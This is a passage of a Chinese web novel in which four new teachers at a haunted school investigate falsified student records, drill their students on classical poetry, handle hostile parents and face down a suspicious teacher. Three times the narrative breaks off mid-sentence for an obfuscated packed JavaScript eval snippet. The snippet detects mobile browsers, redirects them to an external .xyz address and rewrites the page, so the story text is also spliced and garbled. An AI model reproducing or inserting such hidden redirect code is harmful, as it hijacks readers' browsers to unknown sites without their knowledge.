说完，他便从一旁的抽屉中拿出了一沓早已打印裁剪好的纸，把最上面那个写上名字盖上公章后就递到了纪南亦的面前。 纪南亦：……这么轻松的吗？ 这发展她是真的没想到，就算在现实生活中盖个章也要至少跑三个部门找五个人才行，结果现在竟然一句话就成了？ 甚至对方都没问自己去档案馆的具体原因。 看出了她心中纠结的万墨失笑道：“在我们这里，弄一个证明不需要那么复杂。” “至于我同意给你的请求，我自然也有自己目的，只愿你不会让我失望。” 纪南亦轻笑着挑了挑眉，明亮的眸子中是对自己坚定地自信：“那我希望，我们两个的目的最后别是对立方。” 拿到查阅证明的纪南亦马不停蹄地动身前往了档案馆，再次经过八楼走廊的时候，不知道到底是身体适应了脚下的粘稠还是其他什么原因，她总觉得地面不像她来的时候那么难走了。 将查阅证明交给档案馆的工作人员后，纪南亦询问了对方历届学生的资料都在哪个区域， 一脸班味的工作人员瞥了她一眼，语气敷衍：“那是学校的重要资料，没有特殊证明，是不能进去……” 话还没说完，像是看到什么惊奇事情的工作人员突然抬头，不可思议的目光在纪南亦的身上流转。 “怎么了？”纪南亦有些不解，“是需要我再去开其他证明吗？” “不、不用，十分抱歉，刚刚是我的疏忽。”工作人员的态度跟刚刚截然不同，“我马上就带您去A区查阅资料。” 8. 物理驱鬼 与此同时，纪南亦感受到口袋中手机一响，是关羽羽发来的一条短信。 【南亦，刚刚我查了一下，去档案馆查普通资料只需要教务处开的证明就行，只有查A区的重要资料才需要校长签字。你现在在哪，我开个证明给你送过去。】 这下纪南亦明白为什么眼前的工作人员的态度会突然来了个180°大转弯，合着她拿过来的是最高级别的查阅证明。 纪南亦的脑海里再次浮现出那个黑暗尽头沐浴在阳光下的俊朗身影，那人竟然不问具体原因就肯给她开证明，这让她不由得更加好奇万墨的真正目的到底是什么。 给关羽羽回复了不用后，纪南亦跟随着工作人员走向了档案馆的最深处。 作为档案室最为严密的A区，学校给它安排了一个单独的房间，并用一扇三人高的厚重铁门将其保护了起来。 站在门口等待工作人员开锁的时候，纪南亦甚至产生有一瞬间的恍惚，仿佛这扇“雄伟”的门背后根本不是什么一堆乱七八糟的资料，而是传说中的龙之秘宝。 也多亏了万墨的爽快，不然按照这扇门的重量级，她就算搬炸弹过来都不一定能打开。 “好了，接下来您自己进去查阅就好，我会在门口等候，有什么需要直接喊我就好。” 工作人员冲她鞠了个躬后就站到了大门的一侧，乖顺的模样让纪南亦都有些怀疑开始那个敷衍她的冷漠上班族是工作人员的第二人格。 起初纪南亦还会担心A区资料种类太多，找起来会很麻烦，结果进去后发现，完全是自己多虑了。 里面几排架子里摆着的，竟有且仅有学校历届学生的资料。 但即使这样，看着密密麻麻的茫茫资料，纪南亦也深知这将是个大工程。 可能是女人的第六感，也可能是当时煜姝在说出三班的样子太过熟练，纪南亦决定先从每一届的三班查起。 再加上莱星是通过竞赛班跟煜姝认识的，所以只需要查找近三年的名单即可。 另一边，正在监考的季毛毛看着下面埋头做题的学生，颇为无聊地打了个哈欠。 果然，无论在哪个世界，监考都是一件堪称受刑的存在。 她甚至觉得第一排那个因为做不出题目而疯狂薅自己头发的发鬼都没那么恐怖了，反而十分共情地摸了摸自己薄薄的发顶。 好在还有十分钟，这种痛苦就可以结束了。 窗外传来一声重物坠地的闷响，还来不及反应，就看见坐在教室后方早已望过去的钱纹面露惊悚，用手死死捂住自己的嘴巴才不至于尖叫出来。 饶是已经做了心理准备，但季毛毛看清外面的情况后鸡皮疙瘩还是瞬间起了一身。 只见窗外每隔十秒就会有一个红衣披发女鬼从空中一跃而下，黑洞洞的目光死死盯着她们，即使看不到瞳孔，也能感受到其中的幽幽恨意。 季毛毛下意识准备冲到后面拉着钱纹拔腿就跑，却在屁股刚离开座位的时候感受到肩头上一道温和的力量将自己摁了回去。 “南亦……” 看到来人，季毛毛惊喜的声音从被捂住的嘴巴中露了出来。 用眼神安抚好远处的钱纹后，纪南亦面无表情地走到窗边，毫不客气地将窗帘一把拉上。 好在早在她进来的时候就已经把班里的灯开了，所以哪怕拉上窗帘考试也不会被影响。 感受到变化的学生也只是茫然地抬头看了一圈，发现只是班主任回来后便又匆匆投入到了考试最后几分钟的挣扎中。 而以为能看见什么酷炫花哨办法的季毛毛和钱纹表示：就这？ 这算什么？物理驱鬼吗？ 憋了半天的季毛毛下课铃响后迫不及待地跑到纪南亦的身边，“南亦，外面那个真的没问题吗？” 纪南亦倒是一脸轻松：“当然，你看我们现在不都还是好好的。” “可是……”季毛毛还是有些不放心，心有余悸地看着那挡的严丝合缝的窗帘，声音中还带着一丝后怕。 “哎呀，没什么可是的，就算真的有问题，你这个小笨脑袋能想出办法来吗？” 刚收完卷的钱纹快步来到两人面前，冲着气鼓鼓的季毛毛做了个鬼脸，“对了，南亦，你出去查到什么了吗？” “嗯，一些挺有意思的消息。”纪南亦刚说完，教室门口就出现了关羽羽鬼鬼祟祟的身影。 只见她怀里抱着一沓打印好的资料，直到到了教室里还在左顾右盼观察着周围的情况，直到瞧见自己的三个舍友，原本紧皱的眉头才散开了些。 “你是不是去校长室了？都怪我，本来你不用去的。” 刚进来，关羽羽就拉着纪南亦上下左右检查了一圈，直到确保对方身上没有任何一处伤口后才稍微松了口气。 被舍友这样关心，纪南亦也是心头一暖，语调也更加轻快：“放心吧，没什么危险。而且那些资料属于A区的，我总归都是要找校长才行。” “什么？”脸上愧疚还没淡去的关羽羽满眼惊讶，“这种东西我在教务处随便就可以查到，为什么会放到A区？” 接过关羽羽手中的资料，纪南亦边查阅边喃喃道：“可能是有什么其他的隐秘吧。” “停停停——！”满头雾水的季毛毛毫不客气地横叉到两人中间，“什么校长，什么A区，你们两个瞒着我们干什么了？” 一旁钱纹也是迅速站到了季毛毛身边结成统一战线，“就是就是，为什么我俩啥都不知道。” 纪南亦和关羽羽早已习惯了眼前两个人整活，解释道：“没有故意瞒着你们，只是事发突然，我要查的东西被放在档案室A区，需要找校长签字才能进去。” “校长？那是不是很可怕啊？南亦你真的去找他了？” 显然季毛毛也是想起了最开始的教室守则中写的东西，在她眼里如果把当老师这件事比作游戏副本，那作为最严厉惩罚的校长室应该就是最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617724|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终的BOSS所在地，其危险程度不言而喻。 纪南亦想了一下，道：“八楼确实有点吓人，我还拍了个照片你们要看看吗？” 因为听说手机摄像可以看到人眼看不到的东西，所以早在坐电梯到达八楼的时候，纪南亦就拿起手机拍了个照片。 让她失望的是，不知道是传言为假还是什么原因，整张照片中除了四周发暗以外并没有什么恐怖的事情出现。 此时看到照片的三个人皆被阴森的场景吓得打了哆嗦，不约而同地冲着纪南亦投去一个敬佩的目光。 光是走廊都这么骇人了，更别说纪南亦竟然还去了校长室成功拿到了签字证明。 关羽羽心中刚压下去的内疚又迅速升了起来：“真的很对不……” 不等她的话说完，纪南亦就笑着将手指点到了她的唇上：“只是走廊看起来比较丑，其实校长室挺漂亮的，校长也……挺好看的。” “好看？南亦你是不是受刺激审美出现了问题？” 季毛毛从来没想过这个“好看”这两个字能用来形容眼前这个破学校，来这里半天，除了那个莱星，其他的学生连个正经人样都没有，更别说好看了。 虽然钱纹也跟她提过那个煜姝是个美艳到让人过目不忘的女子，但她向来不信钱纹那个女人的审美，所以并没有放在心上。 一旁的钱纹毫不客气地白了她一眼：“你以为是你啊？能让南亦说好看的，那肯定是顶顶好的样子，我都想见识见识了。” “还是算了吧，说不定越好看的人越危险呢。”关羽羽还是忘不了自己在教务处只是提了一嘴校长这两个字，旁边的同事即刻就抖如筛糠的场景。 “这都不是重点。”纪南亦终于看完了关羽羽带来的资料，漂亮的眉头难得的拧在了一起，“我应该知道为什么往届学生档案都会放在A区严密保管了。” 说着她将其中一张纸放在四人中间的桌子上，纸面证件上的女生狐狸眼微眯，笑得灿烂。 “你们看，这个是煜姝的资料，她是20级的学生，最后在高考前三个月因精神压力过大退学。” 季毛毛不禁叹道：“没想到小钱总说的人真的这么漂亮！” 回应她的是钱纹再次甩过去的白眼。 纪南亦又抽出几份资料放在桌上：“这些人，也全部都是因为各种原因在高三下半年退学的。” “他们外形都挺不错的。”关羽羽推了推眼镜，心中疑惑丛生，“可是不是重点看成绩好的人吗？这些人成绩都很一般，我只是因为煜姝跟她们相似点很多，我才一块弄了过来。” 关羽羽熟练的从纪南亦怀中抽出最前面的一小摞，放在桌上指了指：“这些才是最后高考后考上211及以上的学生资料。” “羽羽，你做得很好。问题就在这里。”纪南亦不置可否地点点头，声音中却少了几分往日的温柔。 “这些资料跟我在档案室查到的，完全相反。” 9. 古诗词接龙 “什么意思……这东西能有什么不一样的？”关羽羽神色一沉，因为紧张声调都有些发紧。 其实早在看到煜姝个人资料的时候她就有所怀疑，毕竟当初纪南亦给她的任务是“煜姝和历届成绩优秀的学生”，那么这两者应该是一致的才对。 可她查到的确实煜姝从来到顺德中学以来成绩就处于班级的中下游，每天游手好闲不说，就连违规记录都比比皆是，最后还因精神问题退学。 关羽羽实在想不出煜姝和那些“成绩优秀”的学生到底有什么共性，可这不代表她心里没有其他猜测。 像是看透了她心中所想，纪南亦鼓励般点了点头：“没错，跟你想的一样。” “这些退学的学生，退学是真，但在档案室的记录中，他们都是在班里名列前茅的存在。”纪南亦的声音很轻，却如重锤般砸在三人心上，“而那些考上名校的学生中，有不少是原本成绩平平，最后靠竞赛或者其他什么保送上去的。” 短短两句话所含的巨大信息量将三人脑袋砸的一懵，一时间没人继续开口，纪南亦也是贴心地停了下来。 许久，钱纹才找回了自己的声音：“所以说，是有一方篡改了原本的资料，可是谁呢，目的又是什么？” 纪南亦缓慢地扫视了一圈教室，学生们早在考试结束的时候就匆匆赶往了食堂，整间教室里就只有她们四个人。 最终，她的目光落到了靠窗的位置，也就是莱星的座位上。 “他说，他跟煜姝是在竞赛班认识的，那个时候煜姝就已经拿过竞赛金奖了，所以我倾向于是教务处。” 季毛毛却想到了早读时莱星坑她们的模样，满脸不赞成：“说不定他跟之前一样是骗人的呢。” 想到莱星在提及此事时眼中的惋惜，那是一种无法作假的感叹，纪南亦并不觉得对方是在演戏。 相反，她还有另一个角度：“而且如果真的是教务处作假，那很多问题就可以说得通了。” “比如为什么放在档案馆A区的绝密资料能被我在教务处系统中轻易查到？” 最先反应过来的是关羽羽，这也是她一直以来就很纠结的问题。 纪南亦嗯了一声后补充道：“而且档案馆应该是知道教务处篡改了学生信息，所以两方的关系日益变差，但档案馆受到什么限制，所以没法解决这件事。” 钱纹问道：“那教务处这么做的原因呢？” “这个我还需要一些资料才能确定。”纪南亦如是说道，“不过现在，我们还有一件更重要的事。” 听到有新任务的季毛毛瞬间打起了精神，刚刚的头脑风暴对她无疑是另一种酷刑，就算她绞尽了脑汁也跟不上几个人跳跃的步伐。 “什么重要的事呀？” 纪南亦一脸正色：“吃饭。” 季毛毛：？？ 纪南亦可没忘记教师工资评定，虽然只是明面上的任务，但肯定要吃好睡好才能保持充沛的精力去教学。 面对这无法拒绝的理由，三人也只好匆忙收拾好东西便如同大学时一样结伴去了食堂。 下午的课上来就是两节语文，看到台下学生们睡眼惺忪的模样，纪南亦再次萌生了找个老师换课的想法。 谁家好人学校能把语文放到一天中最容易犯困的事后？这学生听课效率能上去才怪。 “咳咳——”纪南亦拿起板擦磕了两下桌板，刺耳沉重的声音让所有人打了个激灵，更有甚者竟吓得连自己的舌头都险些兜不住。 在纪南亦如刀刃般凌厉的眼神下，长舌鬼立马手脚并用地把自己舌头卷了起来。 “毕竟是中午，我知道大家现在都很困。”纪南亦水波般的目光扫过台下学生，嘴角勾起的笑意却不达眼底，“所以正式上课前我们来玩个小游戏提提神。” 现在，饶是坐在窗边懒懒抬眼的莱星，都从中闻到了一丝阴谋的味道。 来不及给他们反应，纪南亦便高声宣布：“来，现在所有人把书合上，从七七开始，我们来古诗词接龙，看看你们最近早读效率怎么样。” “如果有谁答不上来……”纪南亦笑的阴森，“明天上午之前把那首诗抄写20遍放在我桌上。” 这下台下的学生们直接一片哀嚎，在学习上向来追求自在而为的他们哪里见过这种场面，光是听完介绍，全身的血液都跟着紧张了起来，“抄写20遍”几个字更是听的太阳穴突突直跳。 怎么他们都做鬼了还能碰上魔鬼啊？ “七七。” “到！” 听到名字的七七条件反射般猛地站了起来，怯生生的眼神轮谁看到都会心软一拍。 纪南亦不着痕迹地扫了一眼不远处一脸担忧的莱星，随意翻开了手中的课本：“浩浩乎如凭虚御风，而不知其所止下一句是什么？” 纵然脸上还是一脸蒙圈的模样，七七还是从记忆中搜寻到了答案：“啊……飘飘乎如遗世独立，羽化而登仙？” 纪南亦赞许地点点头，毫不掩饰语气中的鼓励：“很好，下一个，你说一下大珠小珠落玉盘上一句是什么。” “老师我……” “一分钟了还没想出来吗？这么简单的问题都不会，回去抄二十遍，来后面那个，吾尝终日而思矣的下一句是什么？” “……” 第一次进行这种活动，除却明显完全没记住的几个人，纪南亦自认为对大部分人还是很有耐心的。 起码相比起她高中时三秒反应不过来就会被老师无情地PASS掉，她已经十分仁慈了。 只见台下已经被点名回答上的人都是一副劫后余生的模样，被罚抄写的人则是一脸土色，后面还轮到的人更是一边偷偷观察着纪南亦一边小心翼翼地翻书，希望“上刑”前自己还能再挣扎一下。 这场“游戏”在大半节课后终于来到了尾声，坐在窗边的莱星则属于最后的几个之一。 不知为何，自从纪南亦宣布了这场游戏后，莱星的心中就隐隐感觉到了些许不妙，特别是感受到对方时不时略过他身上的狡黠目光后。 纪南亦的声音如鬼魅般响起：“莱星，到你了。” 深知自己躲不过的莱星终究还是任命般的闭上眼站了起来，反复在心中安慰自己早已将那些古诗词背的滚瓜烂熟，应该不会出什么意外。 看见他这副模样，纪南亦的笑容更深：“你来说说《逍遥游》中描绘大鹏依然有所恃的句子是什么？” 自认为做好准备的莱星：？？？ 恶意！这纯纯就是针对他的恶意！ 为什么别人都是提问上下句，到他这里来就成了理解性阅读了？ 这时的莱星才明白，原来外表温和的纪南亦竟然这么记仇，她现在分明就是在报早读他故意坑她那一计之仇！ 见莱星早已黑下来的脸色，纪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617725|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南亦甚至满意：“既然不知道，那就把《逍遥游》抄写20遍吧。” “老师……”莱星几乎是咬着牙说道，“是在故意搞我吗？” 纪南亦一脸无辜地摆了摆手：“莱星同学，你怎么会这么想，老师从来没有什么坏心思。” “只是老师觉得你作为班里第一，标准肯定不能跟其他同学一样，平常只有拔高对自己的要求，最后高考的时候才能有备无患，你说对吗？” 她说的理直气壮，但莱星却捕捉到那双水眸中如小狐狸得逞后的得意，以及她身侧不远处七七被逗笑后的腼腆笑意。 他用舌头抵了抵上颚，末了才一字一句道：“老师说得对。” 一直到最后一个人的提问完成，纪南亦才听到全班不约而同松了一口气的声音。 但她并没有就此打住，而是从门口接过钱纹“恰巧”送过来的专项试卷。 “这里是两篇阅读理解专项，下节课给你们30分钟做完，剩下的时间我来讲题。” 还来不及放松的众人纷纷用见了鬼一样的眼神看向了纪南亦，在学校里安逸了两年半的他们哪里受过这么高强度的东西？ 可偏偏她又是无法反抗的班主任，他们只是一群弱小的小鬼呜呜。 如果可以听到他们的心声，纪南亦估计会违背形象地冷嗤一声，毕竟她们高中受过的苦可不止这些。 趁着学生做题的功夫，纪南亦也是大致查了一下这个世界的高考，发现不仅是题目相对简单不少，就连分数线也是低了三四十分。 原本她还觉得止于一个月不到的时间很难将这群“不学无术”的孩子们改天换命，现在倒是发现还有几分可能。 要知道中式教育向来都是应试体系下的精品，放到这里简直就是降维打击。 当然，要想高考取得好成绩，光是语文这一科也是不足够的，她很快就将自己的“教育理念”全部传给了钱纹，并通知了一下音乐美术老师未来一个月“休假”的消息，平均把这些课分配给了其他老师。 待到几天后陆续知道消息的同学们：……sos！ …… 远在八楼的校长室门被推开，来人小心翼翼地将资料放到桌上：“校长，最近高三四班那个班主任动作挺多，学校里从来没有过这种情况，需要安排人制止一下吗？” “不用。”万墨修长的手指随意地翻了一下纸张，漆黑的眸中划过一道光亮，脸上是早已了然的神色，“她既没违反守则规定，那做什么事都是可以的。” 站着的男人却还是有些犹豫：“可我听说，已经有家长开始不满了，万一有人闹到学校来……” 万墨的声音听不出喜怒：“那就看她有没有本事处理好了，如果违反了规定，再按照规矩来也不迟。” “可是……”男人扔不罢休还想说什么，却在接收到万墨冷冽的眼神后艰难地闭上了嘴，请示后便慌忙地退了出去。 待人走后，万墨不疾不徐地走到窗边，强烈的阳光刺的他眯了眯眼，却更加清晰地看到了正巧从教学楼走出去的纤细身影。 她的身旁还站着其他三个同她一起入职的女生，几人边说话边走向食堂，其中两人时不时还会互相打闹一番。 哪怕是隔着几十米的距离，他也能感受到她们中间欢快的气氛。 “在这种地方也能真放松么……希望你真的可以带来一些不一样的东西吧。” 10. 家长群危机 【5月19日，早上6:30】 这是纪南亦作为班主任监督早读的第十天，也是她想提交离职报告的第十天。 对于大学生来说，早八就已经很痛苦了，更别提每天六点半开始的高强度工作了。 跟她有着明显对比的是根本不用操心早读的数学老师钱纹，以及课程安排都少一半的体育老师季毛毛，逐渐适应的两人每天早上结伴去办公室补觉，独留她一人坚守早读。 正当纪南亦琢磨早读要不要再来个古诗词接龙提提精神的时候，口袋中的手机忽然开始嗡嗡嗡响个不停。 以为是两个活宝在群里闹腾，纪南亦本来也懒得管，结果谁知群消息一个接一个蹦了出来，频率越来越快，大有一副她不回就不罢休的架势。 纪南亦：？ 像是对纪南亦没有秒回信息很不满，不等她拿出来看清楚，一个急切的电话就打了过来。 这时纪南亦第一次觉得自己的手机铃声这么刺耳。 “喂？纪老师啊，你在忙吗？” 刚接起电话，还不等将手机放到耳边，略带黏腻的声音从听筒中冲了出来，饶是纪南亦第一时间都皱了眉头。 她深呼吸了两下，调整了一下状态：“我刚刚在检查早读，请问有什么事吗？” “既然在检查早读，那纪老师为什么不在家长群里孩子早读视频呀？”男人根本没想给纪南亦解释的机会，一个又一个问题冲她砸了过去，“而且谁说检查早读就不能回消息了，万一我们家长有什么急事呢？” “这位家长您先冷静一下。” “我冷静？我哪里不冷静了？”像是听到了什么不可思议的话一样，男人的声音陡然拔高，“我看是纪老师你玩忽职守心虚了，还要污蔑我不冷静！” 纪南亦：…… 见她不说话，男人更加不满地嚷道：“喂？纪老师，你为什么不说话啊，你这样让我们当家长的怎么放心啊？” 纪南亦用力地攥紧拳头，难以压抑的怒火都化作额头上的青筋，用力咬牙才止住了想要骂回去的冲动。 她几乎是逼着自己开口：“抱歉，临近高考，我很理解您焦急的心情……” “哔——哔——哔——” 没等她说完，另一边耐心耗尽的男人已经毫不留情地挂断了电话，空留纪南亦举着手机呆愣在原地。 她终于明白，无论是高中老师还是幼师，如何应对家长永远是作为老师一辈子的必修课。 特别是这种激进的家长往往自成一套逻辑，他们如果发泄不出来，根本就无法进行正常的沟通，哪怕是从开始就伏低做小也收效甚微。 但好在其中部分人的目的更多是发泄自己的情绪，就像刚刚这个男人，发泄完了便走了，也懒得跟进她们当老师的后续是不是真的会改 说实话，她自己向来不太会处理这种事情，不过万幸她们宿舍有个人很擅长。 …… 其实早在纪南亦在受家长电话折磨的时候，钱纹就开始了在家长群的行动。 出生在商人家庭的她早已熟悉了应对不同人的办法，毕竟每个人的行为本质上都是为了自己的利益，而实际情况下只需要满足其一部分利益，就足以平息。 【子涵妈妈：老师我已经好几天没看到我家子涵了，为什么早读不拍视频了？】 【钱老师：为了孩子们可以更好的冲刺高考，所以这段时间我们早读在进行专项秘密训练，所以最近才没拍视频上传。】 【宇浩妈妈：什么乱七八糟的专项训练，这都快高考了，你们还要拿我们孩子试水吗？】 【钱老师：[高三四班5.17模拟考试成绩单.xlsx]】 【钱老师：从刚刚结束的模拟考试来看，全班分数比二模平均上涨40分，一本上线率已从原本的50%上升到了76.3%，由此可见，我们的训练作用还是很明显的。】 【钱老师：特别是宇浩，这孩子平日里就努力，这次更是进步了足足十名，可见家长也是费力不少。相信我们通力合作，孩子高考一定能取得心仪的成绩。】 钱纹的话太过圆滑，既合理解释了早读没拍视频的原因，又顺带着夸了一波家长，一通操作下来，上一秒还在群里气势汹汹质问的宇浩妈妈瞬间哑了声音。 等过了半天才发过一则五秒的语音条，声音竟格外腼腆。 【宇浩妈妈：谢、谢谢老师，宇浩在学校里，我很放心。】 【子涵妈妈：那请问为什么我家子涵晚自习了还在抄写语文古诗词，明明之前下午子涵就没有其他课业安排了，是不是你们故意体罚我们家孩子啊？】 【子涵妈妈：要知道，我们家不惹事也不怕事，孩子本身压力就大，到时候把孩子逼出问题来谁能负责？】 【钱老师：子涵妈妈，请您放心，子涵在我们老师眼里一直是个坚强开朗的孩子，不会出现这种问题。至于抄写古诗的问题，请稍等。】 钱纹很巧妙地没有说“您误会了”这类的话，因为误会这两个字一旦说出来，无论是否为真，都是在指责对方存在认知上的错误。 而承认错误，往往是人们最不愿的事情。 这也就是为什么，谈判时越说“您误会了”，越会引起对方的抵触情绪，进而让矛盾激化升级。 纪南亦刚把群里的聊天记录读完，就听见走廊中传来两道急促的脚步声。 只见钱纹拉着季毛毛风风火火地跑进来，目标明确地冲到蓝子涵的面前，一把将人薅了起来。 还在沉浸式背诵的蓝子涵：？？ 钱纹看了一眼季毛毛，问道：“刚刚交代给你的记住了吗？” 季毛毛仰起头做出一个敬礼的动作，“放心吧小钱总，属下保证完成任务！” 说完，她便掏出手机打开录像模式对准了钱纹和蓝子涵。 钱纹也是满意地点点头，目光又转到了一脸蒙圈的蓝子涵身上。 “子涵别紧张，老师只是有些问题想问问你。”钱纹笑眯眯地说道，“老师了解到你最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617726|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近晚自习都还在抄写古诗词，是作业太多了吗？” 蓝子涵被这阵仗吓了一跳，看到黑洞洞的摄像头和两个“异常兴奋”的老师，嘴巴张了张，半天说不出话。 钱纹拍了拍她的肩膀，颇有一副善解人意的老师模样：“别紧张，子涵，老师只是了解一下情况。” 蓝子涵轻轻嗯了一声，小声回答道：“这都是我自愿抄写的。” “之前我以为只要背过就行，却总是在考试的时候写不出来，自从听老师的话抄了几遍之后，我发现自己对那些古诗的感悟深刻了很多，每次看到题目脑子还没反应过来手就已经写上了，正确率也高了不少。” 钱纹没想到，每天在群里作威作福的子涵妈妈竟然有如此乖巧懂事的女儿。 起初她计划如果蓝子涵胡言乱语，她就先上一轮PUA小套餐，再加上她超绝的后期剪辑，总能拼凑出一个不错的答案。 谁知蓝子涵的回答比预计中的还要好上不少。 这可哄得钱纹直接心花怒放了，如果不是还在早读，她一定会给眼前这个努力学习的孩子塞两套独家绝密押题试卷。 让蓝子涵继续安心学习后，钱纹直接抢过季毛毛手机来了一手“原图直出”。 【季老师：[视频]】 【钱老师：@子涵妈妈，子涵其实跟您很像，都很勤奋上进又有主见，也多亏了您说，才让我们更好地了解到孩子的需求，在剩下的几天里，我们当老师的肯定拼尽全力，让孩子取得优异成绩。】 【子涵妈妈：我家孩子懂事不是你们老师不上心的理由，你们学校每年快高考的时候都有学生退学，一次两次还能说是学生问题，年年都这样，肯定是你们老师当中有问题。】 【子涵妈妈：我看你们这几个老师还行，不过我丑话说前面，我是把孩子健健康康送过去的，如果孩子出了什么问题，我绝对饶不了你们！】 显然，钱纹的方法很有效，子涵妈妈后面并没有继续发言质问。 但她最后的话，无论是一直在忙前忙后的钱纹和季毛毛，还是一遍又一遍巡逻教室的纪南亦，都深深记在了心里。 最近平和安全、日益向上的生活并没有让她们忘记这个学校隐藏在暗处的危险，其中最为明显的就是坐在第一排却黑眼圈愈发深重的七七。 这期间纪南亦不是没有主动试探过她，可原本还总是带着腼腆笑意的女孩现在却对她们避如蛇蝎。 纪南亦知道，有些事已经不能再拖下去了。 转眼间已经到了早读结束的时候，伴随着下课铃声的响起，一道中年女声出现在了门口。 “纪老师打扰一下，请问你下早读了吗？我想找七七问点事可以吗？” 是之前把七七叫到办公室的曹云来了，这段时间她经常会用各种理由把七七带走，每次回来七七的脸色都会难看很多。 虽然不能确定，但纪南亦感觉先前几届退学的学生应该是遇到了跟现在的七七一样的处境，而这件事，跟曹云脱不了关系。 11. 又有人跳楼了 从曹云的身影出现在教室开始，纪南亦就在观察到七七下意识肩膀内扣将自己缩了起来，想要减轻自己的存在感。 后面曹云提到具体名字的时时候，七七明显僵了一瞬，垂下的睫毛都在无助地颤抖。 纪南亦几不可查地皱了皱眉，面上却没有丝毫变化：“还没呢，这群学生早读效果不好，我拖会堂。” 原本嘈杂的教室骤然安静了下来，让纪南亦意外的是，全班竟然没有一个人因此面露不悦，甚至陆陆续续重新将课本拿起来埋头默读着。 但门口的曹云显然并不想就此放弃，“纪老师啊，我知道快高考了你着急，可崩弦易断，万一出了什么问题……” 曹云的话很隐晦，也在无形中给纪南亦施加压力。 根据她最近的观察，纪南亦以及跟她要好的季毛毛和钱纹两人虽然大刀阔斧地在班里进行了很多改革，但同时也在小心翼翼地遵守着教师守则。 所以在她的认知中，教师守则中【时刻保证学生的身心健康】绝对算得上几人的软肋，纪南亦绝对不敢承担这种风险的。 其实除了曹云，座下的学生里也有不少人有着同样的想法— 莱星也在暗暗打量着纪南亦的表情。 可由于角度问题，他只能看到对方的一个后侧脸，再加上这家伙脸上永远挂着让人上火的淡笑，让他无往不利的察言观色大法根本无处伸展。 这是曹云第一次当着全班人的面叫七七过去，如此明目张胆有恃无恐，清楚对方目的的他怎么能允许七七羊入虎口。 眼看着沉默的纪南亦似乎是要放弃，在他人眼里素来不管闲事的莱星脸上第一次出现了失控的表情。 “老师我们——” “我觉得这没什么，我学生时期也是这么过来的，曹老师，我对我的学生这点自信还是有的。” 莱星刚站起来，一直不说话的纪南亦竟忽然开口，声音不大，却像小锤子一样敲在每个人的心上。 他十分肯定，纪南亦绝对是故意的！刚刚他看到了在他刚开口的时候这人的目光扫了过来。 更可恶的是，这个女人还一脸无辜地问他：“莱星同学怎么了？有什么事吗？” 饶是他再气，也只能咬牙恨恨道：“没什么，我也觉得纪老师您拖堂也是为了我们学习，我们都理解的。” “嗯，不愧是咱班第一，你有这样的觉悟，老师很欣慰。”纪南亦满意地点点头，抬手示意莱星坐下。 接着又转向站在门口脸色阴沉的曹云，“哦，对了，快高考了，曹老师这段时间非必要还是不要叫七七去办公室了，您也是老教师了，应该知道这时候学生们情绪稍微一波动都有可能影响很大，我们当老师的肯定要注意，对吧？” 跟同莱星说话时得逞的惬意不同，面对曹云，纪南亦的回应却带着一层无形的威压。 看着眼前始终带着温和笑容的女子，曹云能感受到那双平静无波的眼眸下是仿佛能够将她看穿的暗光。 尽管她确信纪南亦根本不可能知道真相，背后却还是浮上了一层冷汗。 最终，她只能僵硬地扯了扯嘴角：“好的，那你先忙，我回去备课了。” “慢走不送。” 得到满意结果的纪南亦一个多余的眼神都懒得给她。 七七没想到自己竟然能逃脱魔爪，反应了半天刚想抬头感谢一下，却发现讲台后哪里还有纪南亦的身影？ 此时的纪南亦，早已跟蹲守办公室的钱纹和季毛毛在安全通道汇合了。 此时此刻钱纹还在抱着手机手指翻飞在家长群里“战斗”着，速度一度快到以一人之力挡住了十几位家长的攻势。 目睹了全程的季毛毛不禁竖起了大拇指：“小钱总在这方面还是太权威了啊！” “有时间废话还不如过来帮忙。” 即便是忙到应接不暇，钱纹还是瞅准了时间间隙给季毛毛怼了一个白眼。 见此，季毛毛像是想起来什么一样道：“对了，南亦你刚刚没看见，那个曹云回办公室时候的脸色比现在小钱总还吓人，明明出门的时候还满面春光的，也不知道谁惹她了。” 突然被cue的罪魁祸首本人：…… 等到纪南亦把刚刚在教室里发生的事情跟两人说完后，季毛毛的眼睛都瞪大了一圈。 “这个曹云到底想干什么啊？之前那些休学的学生是不是都跟她弄的？” 纪南亦却摇摇头，“但是她这样也太明显了，就好像故意把我们往这个方向引导一样。” 还在回消息的钱纹突然顿了一下，说道：“那可不可以从陈龙那里入手？” 见纪南亦和季毛毛脸上都划过一丝迷茫，钱纹幽幽叹了口气，“咱班的物理老师，也是曹云的老公，他除了上课经常不在办公室，你们没什么印象也正常。” 